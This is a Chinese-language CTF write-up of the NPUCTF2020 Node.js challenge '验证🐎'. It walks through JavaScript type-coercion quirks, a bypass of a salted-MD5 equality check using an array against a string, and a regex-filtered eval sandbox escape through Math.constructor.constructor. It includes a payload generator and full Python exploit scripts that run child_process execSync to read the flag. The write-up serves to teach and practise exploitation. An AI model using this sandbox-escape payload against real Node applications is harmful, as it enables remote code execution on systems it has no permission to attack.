- 我们用一段代码来看再JavaScript中的类型比较:
可以看到数组
[1]==1
在两个等于号时候是返回true的,而在三个等于号时候会返回false。这一点是和php一样的。而在JavaScript中各个数据类型的相加呢?
可以看到对象和字符串相加最后得到的是字符串。而数组和字符串相加最后也是得到字符串。所以可以基本得出结论就是,node中任何数据类型和字符串相加最后得到的都是字符串。
而长度length
属性对于字符串是返回字符串长度,而数组是返回数组元素个数。而数字是没有length
的。
[NPUCTF2020]验证🐎
app.post('/', function (req, res) {
let result = '';
const results = req.session.results || [];
const { e, first, second } = req.body;
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
if (req.body.e) {
try {
result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
} catch (e) {
console.log(e);
result = 'Wrong Wrong Wrong!!!';
}
results.unshift(`${req.body.e}=${result}`);
}
} else {
results.unshift('Not verified!');
}
if (results.length > 13) {
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));
});
以这道题为例:
hash绕过
要满足first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])
结合上面的结论我们我们想要first
和second
长度一样而他们内容又不相等,但是他们md5加盐后的值又要相等。可以构造如下payload:
{"e":paylod,"first":[0],"second":"0"}
这是因为数组利用了任何数据类型加上字符串都会转变称为字符串的特性。同时数组和字符串的长度都是1但是他们却不全等。
import requests
import json
headers = {
"Content-Type":"application/json"
}
url = "http://ff8efecb-b1bc-4df1-af3d-249b285a0c54.node3.buuoj.cn/"
data = {"e":'paylod',"first":[0],"second":"0"}
r = requests.post(url,data=json.dumps(data),headers=headers)
print(r.text)
这道题的第二关我一直没做出来,虽然看正则就知道是用math去RCE。
构造函数执行任意代码
题目关键代码:
function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
}
从正则可以看出只能嵌套Math而且Math只能用一个点,也就是只能用一层属性。
我们再来看最终的payload:
(Math=>(
Math=Math.constructor,
Math.x=Math.constructor(
Math.fromCharCode(
114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41)
)()))(Math+1)
Math=>
是什么意思?我们来看个简单的例子:
可以发现最终是生成了个函数。是的这就是我们熟悉的匿名函数。x => x * x
相当于:
function (x) {
return x * x;
}
同理a = x=>x*x
相当于命名了一个名字为a的函数:
那么(x=>x+x)(2)
呢其实就相当于往这个函数里面传入参数2:
我们再回到payload本身(Math=Math.constructor,Math.x=Math.constructor(......))
可以清楚地看到最外层括号是一个逗号运算,而逗号运算我们知道是从左往右运算再最后返回最右边的值。我们由此得知这里是执行这么个运算:
Math.constructor.constructor(.....)
而这又是什么呢,我们直接逐层测试的Math.constructor
:
可以见到第一层返回的function object()
,他是function的对象原型,而我们知道Object的构造器是指向Function的所以第二层会出现Function。而Function是构造函数他能够创建函数。可以简单理解他和eval类似。我们可以测试一个例子:
var sum = Math.constructor.constructor('a', 'b', 'return a + b');
sum(1,2);
var fun = new Function('a', 'b', 'return a + b');
fun(1,2)
可以直接看到结果,Math.constructor.constructor()
和构造函数new Function()
是等效的。当然这个不知在Math中其他任意函数应该也是类似的。例如:alert()
而payload的最里面fromCharCode
就很容易理解了就是把AIISC码转换为字符串,那么生成payload脚本如下:
import re
encode = lambda code: list(map(ord,code))
decode = lambda code: "".join(map(chr,code))
a=f"""
(m0=>(
m0=m0.constructor,
m0.x=m0.constructor(
m0.fromCharCode({encode("return process.mainModule.require('child_process').execSync('cat /flag')")})
)()
))(Math+1)
"""
a=re.sub(r"[\s\[\]]", "", a).replace("m0","Math")
print(a)
最终EXP
import requests
import json
headers = {
"Content-Type":"application/json"
}
url = "http://14b5ae3b-e444-4e5b-9e2b-1ba3100fc085.node3.buuoj.cn/"
data = {"e":'(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+1)',"first":[0],"second":"0"}
r = requests.post(url,data=json.dumps(data),headers=headers)
print(r.text)
GETFLAG: